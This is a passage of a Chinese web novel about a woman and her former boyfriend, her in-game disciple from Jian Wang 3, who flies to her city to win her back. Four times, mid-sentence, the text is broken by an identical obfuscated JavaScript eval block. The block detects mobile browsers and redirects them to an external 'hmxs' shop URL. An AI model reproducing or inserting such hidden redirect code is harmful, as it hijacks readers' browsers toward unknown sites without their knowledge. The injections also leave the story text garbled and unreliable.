【李咩咩】悄悄对你说:对不起,师父,我错了。 【香盈袖】悄悄对你说:你骗我,阿景,当时分手的时候你不是这么跟我说的。 林清浅忽然转换了语气,冷淡得有一点咄咄逼人:分手后我犯贱地给你打过电话,你说的是你在我与她之间不知道该怎么选,甚至后来我都愿意做被选择的那一个了,可是你说你更想选她。 【李咩咩】悄悄对你说:那都是我编出来骗你的,因为我不想你因为我父母的反对而讨厌我爸妈,我宁愿你讨厌我。对不起,浅浅。 林清浅看到这一句默然了几秒才说:我不信。 她是真的不信,因为分手后她连着给李盛景打过几次电话,毫无尊严地求和好,可李盛景从一开始的“我不知道在你和她之间怎么做选择”,到最后直接将她拉黑,就是这样她都没放弃,想着事不过三,于是第三次她给他写千字小作文表达自己的心意,发给他后却被对方删除了好友,如此她才终于死心。 她花了长达三个月的时间才让自己接受她喜欢的人喜欢上了别人的事实,而就在她决定将这一段结局不美好,但过程很愉快的经历封存起来,然后去开始新的生活时,李盛景却忽然跑来跟她说根本没有什么前任,她怎么可能相信。 林清浅发出那三个字后打开了师徒界面,点了断绝师徒关系后打算去打个竞技场,但排队前看了眼时间,抬头问赵绵绵:“不做饭?” “做啊,这不得把今天的订单都给发货嘛。”赵绵绵从电脑前起身:“晚上希希有舞蹈课,姐姐来帮忙切菜,咱们得快点。” 林清浅退出了游戏,跟着去了厨房。 等晚饭吃完再收拾好,大侄女要爸爸妈妈陪着一起去上课,只剩下她带着小侄女。 林灿星自己玩积木玩得很投入,林清浅站在阳台上仰头看向夜空。 这日天气晴朗,小城市的夜空能看到寥落的几颗星,连远处吹来的风也很轻柔,还携带着春日的花香味儿。 她喜欢在天气晴好的时候拍蓝天白云,也喜欢在晴朗的夜晚仰望星空,所以与李盛景恋爱后,她对李盛景提的第一个要求就是:“有机会的话,带我去看一次星星吧。”可惜这样简单的愿望,直到他们分手,也未能实现。 “其实爱与不爱很明显。”林清浅轻声对自己说:“浅浅,承认一个人不爱你不是件很丢脸的事,但不要因此失去爱一个人的能力。” 她想到前些天看到过的一句话:樱花树下站谁都美,我的爱给谁都热烈。 “所以,在爱上下一个人之前,一定要好好的爱自己呀。”她给自己加油打气,然后回了房间开始了当天还未完成的学习打卡。 - 这天之后连着的几天,林清浅在游戏里并未再遇见李盛景,但密聊里有一条她当时下线后才发过来的消息,对方用可怜又委屈的语气求她不要断绝关系。 这让林清浅想起分手的时候自己也曾可怜又委屈地哀求过李盛景不要删她的好友,可对方还是没有任何留恋地将她删了。现在立场倒转,她在犹豫了两秒之后取消了断绝师徒关系。 她总是这样,不懂拒绝,优柔寡断,还喜欢讨好别人,这样已经是个任人搓圆揉扁的软弱性格了,偏偏共情能力还很强,总是委屈自己去迎合别人,不然当年也不至于在父母亲人的逼迫之下,就与人订了婚,以致于婚纱都未曾穿过,就成了个离婚人士。 “其实已经有在变好了。”林清浅小声给自己辩解,但语气很虚,因为她自己也知道,断绝关系,删除好友,甚至连游戏都卸载才是最好的办法。可是她不想因为不想见一个人,而去抛弃掉一件自己喜欢做的事。 就像当初领证,她明明不喜欢那个人,只是因为父母亲人全都在说他们很合适,而她想着父母肯定是为着自己着想的,他们选的人肯定不会有错,所以就点头答应。 可最终的结 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958954|193269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果告诉她,合适不合适,要自己去与对方真正相处过才知道,而不是听信所谓过来人的经验之谈。 是因如此,她一个人孤独地走了很多年,走到了她的34岁,然后遇到了29岁的李盛景。 她当时真的以为,他们能走到最后的,毕竟,她与他相处日久,越觉得他们是灵魂与身体的双重契合,是若错过了他,这辈子都不会有下一个的命中注定。 只是,现实给了她一个狠狠的耳光,很快就让她从梦里醒了过来。 - 周五的晚上,楼下摆了两桌麻将,烟抽的很凶,闻不得一点儿烟味的林清浅运动完后就立即上了楼。 她先去了隔壁房间,因为第二天不用早起而被允许晚睡的大侄女林希音,正带着妹妹和两个小孩在玩新买的积木,气氛很是和谐,于是放心地回了自己房间。 她用电脑登录了游戏,打开招募进了个缺奶妈的队伍做大战,没几分钟就打完了,于是切了输出心法去散排吃鸡。 林清浅玩游戏有些独,散排竞技场和吃鸡,碰瓷奇遇,如果时间充足一点,就会找个风景好的地图去拍照,有时候则是去摄影棚。 排队的时间里她召唤宠物3次,无事发生,顺手点了下宠物互动,看着背包里的方天水镜心想着要不强开得了。 可人就是这样,很容易对自己产生莫名其妙的信心,觉得自己一定可以,结果每天打开奇遇手册,满页都是已尝试。 界面上出现了进图的倒计时,林清浅点了同意,过图时发现是她最讨厌的白龙口地图。 作为只会玩治疗的人,打架她是一点都不会的,只能靠苟,可这张图却总是在逼玩家们打架,所以她通常死得很快。 林清浅抱着一丝侥幸选了个物资十分贫瘠的地方降落,结果绿色装备还没捡两个,就被不知道从哪里窜出来的红名一刀给砍去了无间死斗。她认命地找了个角落躲着,希望没人能看到她。 但她今天显然运气不太好,死斗才开始就被旁边显然是同一个队伍的两个玩家联合给击杀了,只能观看队友们玩。 她选了个花间的队友,发现对方正在捡物资,身后来了个天策,她正要打字提醒,消息刚发出去,天策就已经上马冲了过来,队友撑了三秒也被送去了死斗。 看着队伍里还活着的明教和藏剑,她选了明教的视角,然后打开了好友列表看了眼,在线的不少,但都是加了好友之后就没聊过的ID。她切换到密聊频道去看好友们在复制什么骚话,结果发现有一条密聊。 【李咩咩】悄悄对你说:师父,我买了到梁溪市的机票,晚上9点50落地,我可以来找你吗? 密聊是下午发出的,林清浅看了眼右下角的时间,秒钟和分钟刚好跳动,走到了21点09分,半个多小时后,飞机就要落地了,而她去隔壁梁溪市,需要1个多小时。 但这与我有什么关系呢?林清浅心说:又不是我让他来的。 6. 距离 直到坐上去往梁溪市机场的车,林清浅都在想:怎么就管不住腿呢。 她看着夜色中不断倒退的风景,又想:就当去与他好好告个别吧,也算是有始有终。 可有些情感,其实由不得人做主,就像当初明明是她主动说的分手,可打电话去低声下气地求和好的也是她;就像明明都分手了,她却还是一个人去完成他们的赏樱计划;就像此刻,她只是见到李盛景缓缓向自己走来,眼泪就控制不住地落下。 她想起了第一次见到李盛景的时候,同样是晚上,可心情却是天差地别。彼时的她怀抱着最美好的憧憬,还提前订了一束花,心想着阿景见了一定会很惊喜。 事实也确实如此,当时李盛景见到她走过去,眼里的那份惊讶和喜悦,至今都深深地印在林清浅的脑海里。她见他在看到自己的时候,那霎那间亮起来的双眼,宛若将整个天空的星星都装了进去,闪动着无比璀璨的光芒。 林清浅肯定地想:他一定是心动了。 她看着衬衣长裤,瘦瘦高高的李盛景,是她曾经对爱情还抱有憧憬的时候所想象过的,最让她心动的少年模样,尤其当李盛景笑起来的时候,明朗干净得仿若四月的阳光,让她不自觉地沉沦其中。 此刻的她却是别样的心情,在她还没来得及严控死守自己的心时,脸上的泪水已经将她想要掩藏好的秘密彻底暴露。 她对自己说:太没出息了,林清浅,你这么一哭,不就是在告诉他,你还没能放下吗? 但是我能怎么办呢?另一个她立即给自己找理由:毕竟是唯一一个从相识相知走到相恋相爱的人,还是在最幸福快乐的时候突然分的手。 “浅浅……”李盛景看到林清浅的时候心里是非常忐忑的。他长到三十岁,除了几年前谈过的那场初恋遭受了一些磨折外,一路上可谓顺风顺水。可谁知曾让他摔了一跤的地方,在几年后再走,还是会让他又摔个跟头。 他曾自以为是地觉得自己能平衡好家庭,事业和爱情,可事到临头却发现太高估自己。他不仅无法维持好这三者之间的平衡,甚至连分手都处理不好,用了最不体面的方式。 他在情感方面太过幼稚不懂事,以致于将最想要呵护的那个人伤害得最深。 “不要哭。”当他走近的时候发现,林清浅竟然哭了。他的心霎时间疼痛难忍,几乎是反射一般地伸出手想给林清浅抹去脸上的泪水,可林清浅转个身就躲开了。 李盛景尴尬地顿了两秒才收回手,难过从心底里涌上来,酸涩得他双眼湿润。 他低着头说:“对不起师父,我知道你看见消息一定会来,你向来心软,对我更是。我知道自己这样做很卑鄙,可是我想见你,很想见你。” 林清浅擦干了泪后才转回来。她看着李盛景,声音尽量平和:“现在你见到了,然后呢?” 她觉得自己太自恋了些,看到李盛景的消息就以为他是来找自己的,可其实,他经常来梁溪市出差。 “然后想重新追求你。”李盛景的话打断了她觉得自己自恋过头想要逃走的想法。 他比林清浅高出半个头,微低着脸问:“师父,我还有机会吗?” “没有,因为我不想跟你好了。”林清浅的声音有些轻:“哪怕我还没忘记你,甚至还喜欢你,可是我真的,不想跟你好了。” 由爱故生忧,由爱故生怖。她不喜欢让自己的情绪都牵系于另一人身上,那会让她觉得自己像个木偶,喜怒哀乐全由不得自己做主。 李盛景见她忍着泪的模样,不顾她意愿地走过去将人抱进了怀里,用着耍赖的语气在她耳边说:“可是怎么办呢,就算你拒绝,我也还是想追求你。师父,你心疼心疼徒弟,再给我一次机会好不好?” 林清浅挣扎着想要离开,却被抱得更紧了。她喊了声“疼”,李盛景立即松了手。她借此机会往后退了两步,但一颗心却因为喊了声疼就被他松开的行为愣怔了一下,因为她不是真的疼。 可这并不能改变什么。她拿一双泛红的眼看人:“我不想给机会。” 她心里说:当初也没见你心疼心疼我,给我一次机会。她甚至有那么一点坏地在心里蛐蛐:这是你的报应。 “那……可以做朋友吗?”李盛景退而求其次:“做朋友,师徒,见不着面的网友都行,只要不消失在我的世界里,这样可以吗?” 林清浅知道他这副委屈又可怜兮兮的模样是装给自己看的,因为他知道这一招对自己有用。 可知道也没有用,就像游戏里他求自己不要断绝师徒关系那样,没见着人她都无法拒绝,此时人就站在她面前,她又如何拒绝得了。 但她亦觉得委屈,绝情的话说不出口,答应的话同样也说不出口。 “不说话我就当师父你答应了。”李盛景拉过行李箱,未经林清浅同意就牵过她的手,把人往出口带:“快11点了,师父一个人打车回去我不太放心,今晚就不回去了好不好?我给你订个房间,明天送你回去?” 林清浅来的时候根本没考虑时间早晚的问题。她看到那条密聊就跟丢了脑子一样,没怎么犹豫地就打了车出门,连跟家里人交代一声都没来得及。 “你都算好了是不是?”她这会儿终于反应过来:明明航班那么多,为什么他偏偏要选这个时间? “冤枉啊。”李盛景叫屈:“作为公司的牛马,我是下了班才赶往机场的,一路上都快把汽车当成飞机开了,就这样还差点没赶上。” 这倒是有可能的,李盛景工作有多忙这事,在他们还没恋爱之前林清浅就知道的,而在他们恋爱的过程中更是深有体会。 可她总觉得自己被套路了,毕竟她也知道,这人虽然是个工作狂,但也干过不少迟到早退的事儿。 她觉得李盛景就是在故意卖惨。 “真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958955|193269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没骗你。”李盛景说得诚恳:“那天你下线后我才发现,除了游戏,我找不到任何能联系你的方式,我甚至借了我爸的电话,可你大概猜到是我,直接给挂了。” 林清浅想到是有这么回事。她开了店后专门买了个手机号,怕有潜在的客户打进来,所以一般不会拒接。但打到她原本的手机号上,归属地还是禅城的,除了李盛景,不是骚扰电话就只剩下推销的了。 李盛景看了眼还被自己牵着的手,嘴角微勾了下。 他带着人打了辆出租车,要上车了林清浅才发现自己任由他牵了一路。 她赶紧挣开,躲进了车里,而心里早已经把自己骂了好几遍,并把对李盛景的提防拉到最高,于是等放完行李的李盛景坐进来的时候发现,他与林清浅之间空得再坐进去一个人还有余。 这显然是在避着他。李盛景并不心灰气馁,毕竟,还能见到人,比之当初到处去找人却连个方向都没有要好太多,而且,也是自己之前把人伤狠了,有些脾气也是应该的。 说起来,不知是不是有点受虐倾向,他甚至觉得,与之前那个温柔包容得彷佛观音在世的林清浅相比,眼前这个会耍点小性子的人要可爱得多,也鲜活真实得多,是可以触碰到的存在了。 所以,他可以主动坐过去。 但最终没有动。 李盛景在路上把酒店订好了,是他之前来此地出差时常去的那家。他告诉了林清浅,发现对方愣了一下,心里疑惑,正要问时突然想起来,他曾经把人哄骗来此过。 那次是他来禅城出差,周日来,周一晚上的飞机就得走,行程十分赶。可当时他们正是恋爱上头的时候,哪怕不在同一个市,到底隔得不算远,加上他们已经有半个月没见了,于是都非常想念对方。 只是,林清浅上班的时间特殊,周日下完班已经将近9点,周一倒是放假了,可自己却要去见客户,哪怕能见着,时间也非常短暂。何况,他们当时相恋的时间不过月余,林清浅又是个脸皮薄的,怕自己过来显得太不矜持。 是他甜言蜜语说尽,还不容拒绝地把车费先转了过去,装可怜说:“这次如果见不着,下次就不知道是什么时候了。”等终于见着面了他就抱着人不撒手,说着好听的情话,隔一会儿就要亲亲和蹭脸。 林清浅宠他,由着他抱抱和亲亲,哪怕是他没忍住擦出了火花,也愿意被他几句拙劣的情话就哄得交付了自己。 想到此,他心里忽然涌上了巨大的悲伤和后悔,尤其在看着两人中间的距离时,难过得心脏都疼痛了起来。 他们曾经那样亲密无间,情意最浓的时候恨不得把对方嵌进自己的身体里。可此时两人同坐一处,却遥远得像是天与地的距离。 他想:这么好这么爱我的林清浅,我怎么就舍得推开她并将她伤得那样深呢? 我真是个混蛋啊。李盛景忽然抬手给了自己一巴掌。 7. 平常 “明珠在握时,不作明珠看。流落他人手,嗒焉长遗憾。”人有时候真的很奇怪,拥有的时候不知道珍惜,甚至弃如敝履,可一旦失去,又后悔莫及。 李盛景觉得自己便是如此。林清浅本性内敛含蓄,于感情一事上却很是勇敢热烈。她的爱太过纯粹直白,喜欢一个人的时候就全情投入,不给自己留任何的余地。 李盛景本身恋爱经验就少得可怜,更从未遇见过这样的。他一开始就被林清浅宠着,所以习惯了林清浅不求回报的爱意和无限包容,以为她永远都会在自己身边,这辈子都不会离开。 可再温柔包容的人,在被狠狠伤害时,哪怕不知道反击,也懂得退避和放手。那些自己有意或无意的伤害和冷漠,等积攒到一定程度,就是对方转身离开的时候了。她不是爱得毫无原则和保留,只是,她的爱没有任何杂质,或者说,爱与不爱有一条非常明显的界线,看着是个恋爱脑且十分有奉献精神,可当爱消失了的时候,转身最快的也会是她,不会有任何转圜的余地。 难怪说免费的才是最贵的,原来放到爱情里也是一样。李盛景唯一庆幸的是,自己悔悟得不算晚,在林清浅还未对他死心的时候。 一切还来得及。他在心里给自己打气。 酒店离机场不远,没一会儿就到了。李盛景把人送到房间门口还不肯走,扒着门问:“要吃夜宵吗?我知道这附近有家烧烤不错。” 林清浅愣了下:“我不吃夜宵的。”而且她在减肥。 “那就陪我好不好?”李盛景说:“我还是中午吃的,饿死了。” 对于从小被灌输“吃饭是大事”的林清浅来说,长达10小时没吃饭是件值得被重要的事,可她并不想去:“你一个人也能去。” 李盛景说:“可这么晚了,师父放心我一个人去啊?” “你啊……”林清浅的语气带着几分无可奈何。 “我怎么了?”李盛景明知故问。 林清浅终究还是生出了一点怨气:“抓着我容易心软的毛病不放了是吗?” “我也不想啊。”李盛景耸了下肩,根本不怕被她看穿:“但凡别的方法有用,我也不至于用这个。” 他总归,是不愿她委屈自己的,可他确实没有别的办法。 “走吧。”林清浅出门的时候只带了个手机,没行李放,取了房卡就走。 “师父等我一下。”李盛景见她立即走人,赶紧刷开隔壁的房间,把行李箱往里一推,再把门关上,一套动作做得一气呵成。 他追上走了一会儿连弯都还没拐的林清浅,知道她是在等自己,不然就她那个走起路来比有些人跑还快的速度,不可能这么慢。 他忍不住笑了一下,心里却又止不住地心疼。 初夏的晚风迎面吹来很是凉爽,吃烧烤的地方不远,但也不近。两人站在路边等车,李盛景见她穿着宽松的衬衣,风从下摆钻进去,露出一小截腰,关心地问:“宝贝,你冷不冷?我回去给你拿件外套吧。” 他根本没意识到自己喊了什么,是在林清浅看了他一眼说“别乱喊”后才知道。 “对不起,习惯了。”他找着机会就表明心意:“以前晚上跟你溜达总喜欢问你冷不冷,每次都会先喊句宝贝,刚刚就是下意识的。” 林清浅“嗯”了一声,路灯下的脸上一片平静,看不出什么表情。 李盛景试探地问:“要外套吗?” “我不冷。”林清浅说。 李盛景“哦”了一声,视线看向她身后的一株樱树。 虽然已经过了赏樱的季节,可晚樱恰是开得正盛的时候,粉色的花瓣层层叠叠,在夜晚的风里轻轻地晃动,是不容忽视的存在。 他想起鼋头渚最美的樱花期虽然已错过,可里头也是有栽种晚樱的,心思不由地就飘到了别处:“浅浅,明天去看樱花吗?” 林清浅看向他,又顺着他的视线看向了旁边绿化带里盛开的晚樱,直到他们坐上车都没有开口。 几分钟后他们下车。夜已经深了,烧烤摊外边的座位上一个顾客都没有,店里面倒是坐了两桌人。老板认得李盛景,见了人就问:“小李总,几个月没来这边出差了啊。” “是,有几个月了。”李盛景应着话的时候把人往里面带,见林清浅在门口顿了下,侧头看向了老板,然后又看向了他,眸光中带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958956|193269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着一点好奇。 他正要开口,被老板抢了先,对方见到林清浅,先是一愣,然后笑着打趣:“这次还带了人来,女朋友?” 林清浅走了进去,李盛景小声回了句“还不是,但我在追她”后跟了进去。 两人找了个能看见外面的位置坐下。李盛景扫了桌上的二维码边选着要吃的菜边说:“这家店是前年夏天来出差的时候找到的,当时……比现在还晚一点,忙完了工作肚子很饿,但这个城市好像没有夜生活,我从酒店一路出来找了很久,才找到这一家还开着门,本来都不指望口味了,结果吃到的时候有点小惊喜。” 他抬头问林清浅:“真的不吃吗?给你点个烤茄子?”他记得林清浅喜欢吃这个。 林清浅摇了摇头。 “那饮料呢?”李盛景又问:“渴不渴?给你点杯奶茶?” “不用。”林清浅说完后见他黯然下去的双眼,解释说:“我不喝奶茶,有水吗?我喝水就行。” “好。”李盛景跟老板说了一声。 老板正好来送热茶,听了两人的话问要冰的还是常温,林清浅选了常温。 老板说:“小李总很不错的,不要错过这么好的对象哦。” 林清浅看向对面的李盛景,淡淡地说:“老板跟你很熟。” 李盛景提交了订单后放下手机,直直地看着林清浅:“很熟。我第一次来的时候就记住我了,因为当时都晚上1点了,店里就我一个客人,我还边吃边打电话,有个订单出了问题,所以当时……”他做了个动作,“反正语气肯定不怎么友善,说的还是粤语。” 那确实是很有记忆点的场景。林清浅点了点头:“两年前就那么忙了啊。” 说到工作强度,李盛景叹了口气:“不然怎么说是牛马呢。” 他见气氛算是融洽,又拾起前面的话题:“师父,明天去看樱花吗?” 林清浅只是看着他,不言不语。 “去嘛,师父。”他开始撒娇,语气都故意嗲了起来:“徒弟很想去,师父你就陪陪你最亲最爱的徒弟,好不好?” 林清浅闭了下眼,再睁开时点了下头:“好。” 8. 第 8 章 四月的风和煦舒爽,温度不冷不热,花开得正好,树上新长的绿叶也十分鲜嫩,连阳光都很舒适,十分地适宜出游。 李盛景睡得晚,却起了个大早,可平常早起犯困的情况非但没出现,还特别地精神,导致睡个回笼觉的计划彻底失败。 他们约的9点见面,此时7点都还没到,李盛景躺在床上玩手机,才发现昨晚加的微信被通过了。他既开心又心疼,看着对方的头像叹气:“你啊,怎么总是这么心软呢。” 点开林清浅的朋友圈,本以为会是一片空白,结果刷出来了一条九宫格内容,不是樱花就是有花有树有水的风景图片,最中间的一张是大片的樱花里露出来的一座楼阁。 李盛景觉得眼熟,放大后不出意料地看见“赏樱楼”三个字。 “浅浅去过鼋头渚了?”他看了眼发出的时间,4月1日,正是他去的那天。 “所以我那天看见的,真的有可能是浅浅?”他换成了□□,发现好友申请也被通过了。 相比于微信,林清浅更喜欢用□□,所以她在朋友圈里几个月都未必发一条内容,在空间里却有可能一天发好几条。他们之前的联系方式也是以□□为主,这大概是大部分剑三玩家们都习惯的方式。 李盛景点进空间,果然发现林清浅每天都有在更新说说。他手指快速地划过屏幕,直到出现了樱花的照片时才停止。那是从朋友圈里直接同步过来的,但空间里比朋友圈还多了一条,同样是九宫格,依然是风景和花,却不再是樱花,每一张图片都是一种不同的花。 他看着最中间的一张,那是一张自拍照,林清浅站在樱花树下,笑得平静宁和,却没有被她身后盛开的樱花压了风头,人与花相得益彰。 李盛景看了好一会儿,等回过神来的时候已经保存了下来。他想起来自己的目的,看到照片里林清浅穿着的衣服是杏色的,与他那日看见的一摸一样。 “原来我没有看错。”李盛景心中生出一种“冥冥之中自有天注定”的欣喜感,可想到那日他们并未相遇,又生出几许惆怅,心想:这是否说明,我们有缘无份呢? 这想法一冒出来就被他给掐灭了,因为从前还在一起的时候,林清浅有很多次就说过他太爱胡思乱想,以致于情绪反反复复。 为了转移注意力,他开始看林清浅发的说说。大部分都是在夸她的大小侄女的,有陪着大侄女一起画画打卡的;有小侄女唱歌的视频,或者干脆放萌照;也说到跟大小侄女一起在阳台上种花,图片里是三盆花,配的文案里说小侄女星星要粉色,大侄女希希要黄色,她给两姐妹选了非常好养活的太阳花,而她自己则养了一盆天河繁星。 她说:天河繁星这个名字真的太美好了。 李盛景记住了这个名字,然后打开了外卖软件。 或许是时间太早,问了几家花店都没有得到回复。他继续往前翻,这才知道她早早就辞了职,知道接着她租下房子的男人确实是她认识的,关系还很不错,是她最好的朋友祁安的老公,亦是她的好友。 “难怪那天说话很不客气,到外面租房,难道他们离婚了?”李盛景嘀咕了一声,心情有点低落,不太想往前翻了,因为快接近他们分手的时间了。 他最终还是看了。可他都做好心理准备了,却发现那段时间的林清浅没怎么发说说,几乎很多天才一条,不是摘抄的好句好段,就是截图的小说内容,也有和朋友出去吃饭逛街随手拍的食物图片和场景,或者就是游戏截图。 新年假的那几天里倒是每天都有更新,有湛蓝的天空里飘着一团团洁白的云;有空旷得显出几分苍凉的田野;有连绵起伏的群山上覆盖着的皑皑白雪。 当然,缺不了她的大小侄女。 李盛景翻完了他们分手后的全部内容,唯一一条与他有关的,是辞旧迎新的时候发的一条视频。 他点了进去,是一段烟花绽放的视频,大概是在楼顶拍的,四面八方都是燃放着的烟花,将整个夜空照得仿如白昼。她在文案写:上次跨年的方式不对,重来。愿新的一年平安健康,事事顺利。 内容很简单,许下的新年愿望也很普通,是大部分人都会有的新年愿景。可看着前半部分,李盛景又想给自己一巴掌。 他想:我怎么就挑了那个时候呢?那么美好的跨年夜,原本应该是日后最美好的记忆,可因为分手,连我自己都不敢再去回忆,当时的浅浅在除夕的晚上究竟是怀着怎样的一种心情跨年呢? 他突然生出了离开的念头,心想:要是没有我,浅浅现在过着的,一定是她所期盼的平淡却普通的美好生活。 这个想法一冒出来就无法阻止,直到他们见面。 两人9点的时候在走廊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958957|193269||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 相遇,然后去吃早餐。 林清浅直到坐下来才问:“你有心事?” 先前在门口相遇的时候李盛景就皱着眉头,一副心事重重的样子,这会儿坐下来吃饭也是明显地心不在焉。 李盛景抬头,看着对面主动关心起自己的人,迟疑着问:“浅浅,你会不会觉得,如果我当初没向你求情缘,而是一直做师徒,会不会更好?” 林清浅正在喝豆浆,大概是渴了,一口气喝了半杯,嘴角边沾上了一点,可她浑然不觉。听到李盛景的问题后她没立即回答,而是抬起头,平静地看着人。 李盛景也看向她,在看见她嘴角边的豆渍时身体微抬,手也抬了起来,像是想要去给林清浅擦掉。 但他很快意识到这个动作太暧昧,不是他徒弟的身份可以做的。 他坐了回去。 林清浅因他的动作意识到了什么。她拿了张纸巾擦了下嘴,不答反问:“你后悔喜欢我吗?” “不后悔。”李盛景摇了摇头:“能被你喜欢,是我的荣幸。” “我也不后悔。”林清浅温和地说:“人的一生是由喜怒哀乐所组成的,痛苦不过是其中的一种。虽然我们的结局不怎么好,可对我来说,人生的每一段经历都弥足珍贵。” 她微笑了一下,接着说:“而且,我与你在一起的时候也不只有痛苦。确切来说,幸福和快乐远远多于痛苦。那些我们在一起的时间里,每天醒来我都充满了期待,也实实在在地感觉到了开心,所以,我怎么会后悔呢。” “不要否认你走过的路啊,徒弟。”她的声音很温柔:“也不要后悔自己做过的所有选择,因为在当时的情境里,那可能是你能做出的最好选择。最主要的是,不是所有的恋爱都能走到完美的结局,你得尝试了几次才知道,什么样的人是最适合你的,你是否习惯有人占有你的时间,空间和生活。就像我们玩游戏,总得失败个几次才能打出完美通关。” “当然,我不否认有第一次就打出的,但我不认为自己是那种天才。”她朝李盛景笑了一下,然后就低头吃她的早饭了。 李盛景看着她慢条斯理地剥着鸡蛋,低垂的眉眼看起来温柔又安静,在4月的春光里显出几分明净宁和来,与刚才那个讲了一大段话的人仿若两人。 他看得移不开眼,心说:这就是我无法放手的原因啊。 9. 第 9 章 两人吃完了早饭就打车去了景区。虽然已经过了赏樱的最佳时间,但里面的游客依然不少。 相比于上次刚进入景区就看到盛开到极致的樱花,这一次樱花就少了许多,品种也不同。相比于早樱和中樱,晚樱的花瓣层层叠叠,盛开时还有绿叶相衬,要富贵繁复得多,虽也美丽,到底没前两种开放时夺目烂漫。 大约是上一次来过,亦或者两次的心情和目的不同,之前进了景区就开始看看停停拍了不少照片的林清浅这一次却连手机都没拿出来。 “还是来晚了。”李盛景看着大片绿色之中的一点粉,想起他第一次来这里的时候是出差,恰好是赏樱的最佳时节,那时候好似整个世界都是浪漫的粉色,尤其是在夜晚,行走于桥上时,两岸落英缤纷,而水中倒映着两岸的繁花盛景,像是人间下了一场粉色的雪,美好得像是坠入了梦中。 林清浅不知道想到什么,她在路边的一颗樱树下停了下来,看着树枝上孤零零的一个日式风铃,叹息般地附和:“是啊,来晚了。” 她半个月前来的那一次其实就晚了,虽赶上了中樱盛开,但离最佳的赏樱时间隔了几日,樱花已经开始凋谢了,就如同她遇见李盛景的年纪。 34岁将满,早就错过了女孩子最好的年纪。 林清浅拍下了那个孤零零的风铃。 两人走走停停,到了某一处时,看到了某一条道路上,紫藤萝如同瀑布一般,从石头砌成的栏杆上垂下来,一路往前延伸,好似没有尽头。她被这美景吸引,不由地转了过去,怔怔地看着这平日难得一见的美景。 “真好看。”李盛景在她旁边赞叹。 林清浅已经拿出了手机,找着角度拍了好几张,然后就站在了一处紫藤花下,凑近了去嗅一嗅花香。 淡淡的,很清新的香味,还挺好闻,但离得稍远了一点就闻不到了,于是她凑得更近了一些。 李盛景也在拍,可他拍着拍着就把镜头对着微扬起头细嗅花香的林清浅。 按下拍摄按扭后,他看着照片里低垂眼眸的林清浅,人与花相映,谁也没夺了谁的光芒,紫色的藤萝花中一张微闭着眼浅笑的侧脸,春末的阳光从上空洒下来,给人和花镀了一层柔和细碎的金光,画面非常地和谐舒服,如同他们初次见面,在一刹的惊艳过后所留下的感觉那般。 他想要多拍几张,细嗅花香的人却在花架下的长椅上坐了下来,因为没有椅背,她双腿长伸,双手在背后撑在椅子上,仰着头看对面的花,双脚还一左一右地晃,嘴角边挂着浅浅地笑,是一副完全放松的姿态。 李盛景收起了手机,看了好一会儿才走过去,在她旁边坐了下来。 林清浅一愣,像是终于想起自己不是一个人来的。她绷着脸想了两秒,找出个理由:“走累了,歇歇。” 那表情一看就很心虚,李盛景觉得好笑的同时更觉得可爱,多看了两眼后装不知道,点头说:“那就坐会儿,正好这里风景好。” 林清浅“嗯”了一声,嘴角略弯,露出个很浅的笑,像做了坏事后没被发现的小孩,带着一点点的得意。 李盛景看向她的双眼,发现平日清澈的眼眸里此时荡漾着一层微光,像阳光下泛起波纹的湖面,一圈又一圈地荡开,一直荡进了他的心里。 他不假思索地开口:“师父,你是个真正的花姐。” 林清浅一晃一晃的双脚顿住,侧过头来看他,双眼不解地眨了眨:“怎么说?” 李盛景不再看他,而是去看头顶的紫藤花瀑布。他想起游戏里的万花谷,那里有着一大片的紫色花海,在一些建筑的栏杆上也缠绕生长着很多的紫藤花。 那是一种梦幻又浪漫的紫色,却又不失温柔坚韧,像他心中的林清浅,也像他在游戏里初次遇见林清浅时,对方耐心地教了他一个多小时双人轻功时所产生的初印象。 想起当时,他回答说:“我始终觉得,万花成女是剑3里面最温柔的存在。” 